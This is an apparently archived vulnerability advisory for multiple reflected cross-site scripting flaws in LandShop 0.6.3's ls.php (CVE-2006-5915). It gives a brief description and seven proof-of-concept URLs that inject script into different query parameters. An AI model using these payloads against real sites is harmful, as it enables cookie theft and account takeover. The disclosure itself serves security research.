LandShop 0.6.3 - 'ls.php' Multiple Cross-Site Scripting Vulnerabilities

Author: laurent gaffie
type: webapps
platform: php
port: 
date_added: 2006-11-09 
date_updated: 2013-10-14 
verified: 1 
codes: CVE-2006-5915;OSVDB-30276 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/20989/info

LandShop is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application, and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&infield=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=20&CAT_ID=1&keyword=&search_area=&search_type=&search_order=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>